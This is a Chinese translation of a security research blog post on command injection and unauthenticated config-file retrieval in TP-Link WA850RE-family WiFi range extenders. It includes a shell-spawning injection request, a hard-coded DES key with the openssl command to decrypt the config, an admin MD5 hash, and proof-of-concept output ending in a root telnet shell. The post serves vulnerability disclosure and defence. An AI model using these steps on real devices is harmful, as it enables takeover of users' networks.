专栏首页安恒网络空间安全讲武堂使用Centrifuge平台检测固件漏洞

使用Centrifuge平台检测固件漏洞

最近,针对TP-Link WL-WA850RE WiFi Range Extender 发布的漏洞引起了我们的注意,并对其进行了进一步调查。对于许多低成本的消费者嵌入式系统来说这是一个典型且有效的命令注入错误。它允许远程攻击者完全访问设备,但是需要管理凭据才能运行易受攻击的代码。如果使用Centrifuge平台,则会出现更严重的错误,它允许远程攻击者完全控制设备,即使在事先不知道管理凭据的情况下。

特别令人担忧的是,此漏洞不仅限于具有LAN或WLAN访问权限的攻击者,还会影响多个TP-Link产品,包括许多连接到Internet并因此容易受到远程攻击的设备!稍后会详细介绍。

命令注入BUG

首先,让我们检查一下原始命令注入错误。根据发布的漏洞利用代码,命令注入存在于wpssetuppin传递给/data/wps.setup.json设备Web服务器中页面的输入参数中:

POST /data/wps.setup.json HTTP/1.1Origin: http://192.168.0.254Content-Length: 100Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflateConnection: closeAccept: application/json, text/javascript, /; q=0.01User-Agent: Mozilla/5.0Host: 192.168.0.254X-Requested-With: XMLHttpRequestReferer: http://192.168.0.254/Cookie: COOKIE=456787465784Content-Type: application/x-www-form-urlencoded; charset=UTF–8
operation=write&option=connect&wps_setup_pin=12345670;telnetd -l /bin/sh

这是一个足够简单的漏洞,但我们确实需要一个有效的,经过身份验证的cookie令牌才能使其工作,所以让我们来看看负责处理这个POST请求的代码。

我们使用固件映像的这些日子做的第一件事就是把它扔进了Centrifuge平台执行自动固件提取和漏洞分析。果然,它将httpd守护进程排名为系统中风险最高的可执行文件(这里还列出了一些其他有趣的高风险服务):

检查Centrifuge中httpd二进制文件的详细漏洞分析结果,其中有很多调用strcpy的堆栈地址作为目标...这只是结果的第一页:

一旦我们在固件中识别出可疑的二进制文件,我们就可以直接从Centrifuge中下载文件并将其放入我们选择的反汇编程序中。在本文中,我们使用IDA Pro(最近也出现了几种较便宜的替代品)。当我们将httpd二进制文件加载到IDA中,我们很快意识到Centrifuge平台报告中列出的第一个strcpy问题之一会直接导致产生最初发布的漏洞。此漏洞是sub_429610函数内的WPS命令注入错误:

查看此函数中的代码,它以尽可能最不安全的方式处理用户提供的数据。 该wpssetuppin值可用于在此处利用基于堆栈的缓冲区溢出和命令注入错误,但命令注入错误更容易利用,并且该值在不同的固件版本和不同的受影响设备上更具可移植性,因此攻击者以命令注入为目标而不是缓冲区溢出是有意义的。

但是,在我们可以使用这个易受攻击的代码之前,通过调用wmAuthIsClientAuthencated函数进行身份验证检查。

正如已发表的漏洞中所述,如果此身份验证检查失败,则攻击者永远不会访问易受攻击的代码。

找到未经训练的攻击向量

显而易见的第一个问题是:我们可以向不需要身份验证的Web服务器发出任何HTTP请求吗?要回答这个问题,我们首先要弄清楚可以从Web服务器请求哪些网页,以及哪些代码负责处理特定页面的请求。

对于这个特定的Web服务器,它通过以下httpRpmConfAddAndRegisterFile函数注册一个带有相关URL的函数处理程序:

在这里我们可以看到URL作为第二个参数传递给httpRpmConfAddAndRegisterFile,并且负责处理该URL的所有请求的函数作为第三个参数传递。

使用Centrifuge平台的内部静态分析引擎,我们能够解析所有这些函数调用及其参数,并允许我们将每个URL解析为其关联的函数处理程序,并获取不调用wmAuthIsClientAuthencated认证函数的函数处理程序列表:

sub_40B990  =>  /fs/pages/userrpm/timeSettings_dst.htmlsub_40E0C8  =>  /fs/pages/userrpm/connect.htmlsub_40E144  =>  /fs/pages/userrpm/extend-settings.htmlsub_40E04C  =>  /fs/pages/userrpm/accessControl_adv.htmlsub_40DF54  =>  /fs/pages/userrpm/region.htmlsub_40DFD0  =>  /fs/pages/userrpm/wirelessSettings.htmlsub_416DC0  =>  /fs/pages/userrpm/wifiCoverage.htmlsub_418040  =>  /fs/pages/userrpm/dhcp.htmlsub_419C90  =>  /fs/pages/userrpm/led.htmlsub_41B484  =>  /fs/pages/frame/quick-setup.htmlsub_41D41C  =>  /fs/pages/userrpm/basic.htmlsub_41D3A0  =>  /fs/pages/userrpm/basic_network.htmlsub_41D324  =>  /fs/pages/userrpm/network.htmlsub_420B68  =>  /fs/pages/userrpm/lan.htmlsub_421CC0  =>  /fs/pages/userrpm/password.htmlsub_422D20  =>  /fs/pages/userrpm/firmwareUpgrade.htmlsub_424630  =>  /fs/pages/userrpm/backupRestore.htmlsub_424D40  =>  /fs/data/config.binsub_424B58  =>  /fs/data/restore.jsonsub_426030  =>  /fs/data/login.jsonsub_426FCC  =>  /fs/data/lang.jsonsub_427520  =>  /fs/pages/userrpm/systemLog.htmlsub_428070  =>  /fs/pages/userrpm/wps.htmlsub_429AB0  =>  /fs/pages/userrpm/powerSchedule.html

大多数这些未经身份验证的URL只是提供静态HTML页面,但有一个值得注意的例外/fs/data/config.bin。这听起来像一个备份配置文件,它应该包含管理密码!如果我们从目标设备请求此文件会发生什么呢?

$ wget http://192.168.0.254/fs/data/config.bin–2018–07–15 14:22:50– http://192.168.0.254/fs/data/config.binConnecting to 192.168.0.254:80… connected.HTTP request sent, awaiting response… 200 OKLength: unspecified [x-bin/octet-stream]Saving to: ‘config.bin’2018–07–15 14:22:50 (127 MB/s) - ‘config.bin’ saved [1120]

好吧,似乎设备只是将此文件给你,而无需登录(提示facepalm)。整个备份配置文件可能是可以通过Web服务器请求的最敏感的一条信息。

但是,该config.bin文件似乎以某种方式加密或混淆,没有可读的字符串(除了一些文件头数据)或其中的常见压缩格式,并且数据似乎具有相对高的熵。

事实上,在今年早些时候发布的单独漏洞报告中已经发现了无需身份验证即可检索config.bin文件的功能。 该漏洞报告指出,虽然可以检索配置文件,但它是加密的,并且不提供解密它的建议或解决方案。

解密配置文件

嵌入式系统通常不会因使用强加密而闻名,所以让我们看看我们是否可以破解这个问题。 httpd二进制文件中没有任何内容可以找到,它似乎与加密有关,但是搜索固件的文件系统显示另一个二进制文件也引用了config.bin文件:/usr/bin/uclited。

在uclited二进制文件中有一个名为usrconfloadfactorysetting的函数,它调用函数dodes_min,然后立即调用uncompress:

这表明我们拥有的config.bin文件首先被压缩,然后进行DES加密。检查传递给desmindo函数的参数,第五个参数(推入堆栈)是内存地址0x0045D820:

这个478DA50BF9E3D2CF值是一个硬编码加密密钥吗?快速Google搜索显示TP-Link多年来一直使用此密钥来加密配置文件。 其中一个OpenWRT开发人员对它进行了相当不错的报道,甚至提供了使用此密钥解密配置文件所需的确切openssl命令:

$ openssl enc -d -des-ecb -nopad -K 478DA50BF9E3D2CF -in config.bin > decrypted.bin

Binwalk'ing生成的解密文件显示压缩数据blob,解压缩时包含ASCII配置文件:

$ binwalk -e decrypted.bin
DECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------144           0x90            Zlib compressed data, default compression
$ file _decrypted.bin.extracted/90_decrypted.bin.extracted/90: ASCII text, with very long lines, with no line terminators

硬编码加密密钥是嵌入式系统“安全”领域中反复出现的主题。请注意所有产品供应商:如果您打算加密数据,特别是敏感的客户数据,请不要在多个产品和固件版本中使用相同的硬编码加密密钥。使用硬编码加密密钥是通过隐蔽式安全性的典型示例。我们需要做的是集中精力开发安全代码,而不是通过硬编码密钥引诱用户进入虚假的安全感。

更详细地检查解密的解压缩配置数据表明它以JSON格式存储,并且当WiFi配置设置(包括WiFi密码)以纯文本格式存储时,管理密码存储为MD5哈希:

   "ACCOUNT" : {      "Pwd" : "1048552CDE8EBBBE4CAEF9D3B95AB41B",      "UserName" : "admin"   },

我们当然可以通过密码破解程序运行此哈希,但这是不必要的。

用MD5哈希认证

检查设备登录页面的HTML显示他们首先使用MD5哈希提供的密码,然后通过Javascript将身份验证请求发送到设备:

    var doLogin = function(){       ///////////////  get cookies        checkCookie();        var submitStr = getCookie() || $.su.locale.cookie;       /* if(submitStr == null)        {            alert('open your cookies!');            return false;        }*/        var password = $.su.md5( $.su.md5($("input#login-password").password('getValue') ).toUpperCase() + ':' + submitStr  ).toUpperCase();        var strEncoded = passwordOnly?password:($("input#login-username").textbox('getValue') + ':' + password);        $('input#login-username').textbox('setNormal');        $('input#login-password').password('setNormal');        if( $('input#login-username').textbox('validate') && $('input#login-password').password('validate') && $('input#login-password-comfirm').password('validate') ){            var postData = {                "operation": "login",                "encoded": strEncoded,                "nonce": submitStr            }

纯文本密码首先是MD5哈希值。然后将此哈希与nonce连接(浏览器的cookie用作nonce),整个字符串再次进行MD5哈希处理。 这意味着我们不需要知道实际的密码,只需MD5哈希即可。事实上,原始的命令注入漏洞利用相同的散列序列来进行开发之前的身份验证,所以如果您已经检查过该代码,那么这应该不足为奇。

这实际上是我们在许多嵌入式设备中看到的东西;他们会在通过网络发送密码之前对密码进行哈希处理,可能是为了保护明文凭证不会通过网络传输,但是任何捕获登录请求的人都可以简单地重放登录请求。我们建议对所有传输凭据的流量以及使用业界验证过的第三方身份验证框架要求SSL。如果你推出自己的加密实现,你一定很难做到这一点。

识别其他受影响的设备

由于供应商代码重用,像这样的错误很少被隔离到单个产品(甚至是单个OEM!)。我们想了解其他TP-Link产品可能会受到什么影响,因此我们转向Centrifuge平台的卫报功能,该功能将扫描当前和过去的固件,以了解已发布的已知漏洞。

这表明至少以下TP-Link产品受到影响:

> RE305 v1.0 > RE450 v1.0 > TL-WA830RE v3.0 > TL-WA850RE v2.0 > TL-WA850RE v4.0 > TL-WA850RE v5.0 > TL-WA855RE v1.0 > TL-WA855RE v2.0

找到脆弱的设备

我最初的假设是因为这些设备是WiFi范围扩展器,它们通常会坐在NAT/防火墙后面,并且它们之中很少可以直接连接到互联网。 但是,Shodan证明我错了:

Shodan结果中存在一些误报,但标题中所有开头......的结果似乎都很脆弱。这些WiFi范围扩展器可能打算安装在路由器/防火墙后面,我怀疑其中很多都可被因特网访问的原因是用户错误。用户可能只是将WAN电缆从其ISP直接连接到范围扩展器的以太网端口。

也许这就是为什么TP-Link没有非常重视这个产品的安全性,因为他们期望它连接到可信任的局域网,而不是互联网。但是,正如我们发现的那样,用户并不总是可预测威胁或有安全意识。由于TP-Link缺乏对设备安全性的关注,他们无意中暴露了许多客户的家庭和企业,以至于这双鞋信息被利用。

开发脚本

为了证明这个问题的严重性并向实际可利用的供应商证明,我们开发了一个用Python编写的概念验证漏洞。此脚本抓取配置文件,对其进行解密和解压缩,对目标设备进行身份验证,并利用命令注入错误在端口8080上启动telnet服务器。它已针对RE450 v1.0,TL-WA850RE v5.0,TL-WA855RE v1.0和TL-WA855RE v2.0产品进行了测试:

#!/usr/bin/env pythonimport osimport md5import zlibimport jsonimport socketimport urllib2import subprocess

class Exploit(object):    '''    Exploit for the TL-WA850RE. Unauthenticated users can retrieve the device    configuration data, authenticate, and execute arbitrary commands as root.
    Prior art:        o https://www.exploit-db.com/exploits/44550/        o https://www.exploit-db.com/exploits/44912/        o http://teknoraver.net/software/hacks/tplink/

并且...它的作用就像一个魅力:

$ python ./exploit.py 192.168.0.254[+] Requesting browser cookie…[+] Retrieved cookie: ‘COOKIE=6500a8c000184c02; PATH=/; MAXAGE=9999; VERSION=1’[+] Attempting to retrieve device configuration data…[+] Got encrypted config file for model: TL-WA850RE v5.0[+] Decrypting config file…[+] Decompressing configuration data…[+] Admin username: ‘admin’[+] Admin password (MD5): ‘1048552CDE8EBBBE4CAEF9D3B95AB41B’[+] Attempting login with password only…[+] Attempting to execute “telnetd -l /bin/sh -p 8080”…[+] Exploit successful!
$ telnet 192.168.0.254 8080Trying 192.168.0.254...Connected to 192.168.0.254.Escape character is '^]'.
/ # reboot/ # Connection closed by foreign host.

结论

应该注意的是,绝对不需要逆向工程来找到本文中讨论的错误。所有这些错误都已经是公众所知,尽管据我们所知,没有人将所有碎片捆绑在一起(至少不是公开的),TP-Link也没有尝试过修复它们。

此外,研究人员或供应商似乎很少(如果有的话)开展工作来调查其他设备受这些错误的影响。这是非常常见的,攻击者不知道哪些产品可能共享一个共同的代码库,供应商要么不关心,要么没有时间,资源或专业知识来检查所有可能受影响的产品。可能这是由于手动进行这种努力的耗时性质,因此这是使用诸如Centrifuge平台的自动化系统的优点。

最重要的是:如果您拥有其中一个设备,特别是如果它可以从互联网远程访问,假设您已被入侵,你应该选择要么将设备放在NAT/防火墙后面,要么用更有信誉的供应商替换设备。

原文链接: https://www.refirmlabs.com/blog/exploiting-command-injection-bugs-tp-link-wl-wa850re-wifi-range-extender

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab),作者:AmarisZ

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-03-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Jenkins RCE漏洞分析汇总

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和...

    安恒网络空间安全讲武堂
  • 经典加密法

    经典加密法 01 仿射加密法 在说仿射加密之前,有必要先说一下单码加密。单码加密法具有固定替换模式的加密方法,即明文中的每个字母就由密文中的一个字母所替换。而仿...

    安恒网络空间安全讲武堂
  • RFID技术|门禁卡破解|IC卡破解学习过程

    安全不仅仅包含网络上的安全,在我们实际生活中也同样存在很多个安全相关的事物,可以说跟科技扯上关系的事物都会有安全问题,无线,蓝牙,手机,无人机,汽车。真正有问题...

    安恒网络空间安全讲武堂
  • 二进制的运算

    在计算机中存储字节是定长的,即我们8、16、32位等等,6的二进制位为110,但如果在8位计算机中是00000110,高位补零

    lyb-geek
  • 二进制的运算

    在计算机中存储字节是定长的,即我们8、16、32位等等,6的二进制位为110,但如果在8位计算机中是00000110,高位补零

    萬物並作吾以觀復
  • 对于个人(注册表)与团队(团队表)(两张表没有关联)的展示与可空判断

    1,在Model中只有GroupId没有名称(GroupName),所以自己定义一个:

    wfaceboss
  • [答疑]状态图是否可以融入流程图中处理

    LIPIN 2018-08-31: 老师好,咨询一个问题,状态图是否可以融入流程图中处理?咱们之前讲过活动图,貌似有这么个画法

    用户6288414
  • PyTorch的4分钟教程,手把手教你完成线性回归

    PyTorch深度学习框架库之一,是来自Facebook的开源深度学习平台,提供研究原型到生产部署的无缝衔接。

    大数据文摘
  • 程序员的数学基础课之二进制

    十进制计数使用 10 作为基数,二进制使用 2 作为基数,二进制的数位就是 2^n 的形式。

    hedeqiang
  • 借鉴Glide思想二次封装Fresco背景二次封装使用示例Github 地址

    Fresco 图片库很强大,我们项目中就是使用的 Fresco,但有一点就是,不怎么好使用,略麻烦。不同项目中,多多少少都需要对 Fresco 进行一层封装才能...

    请叫我大苏

扫码关注云+社区

领取腾讯云代金券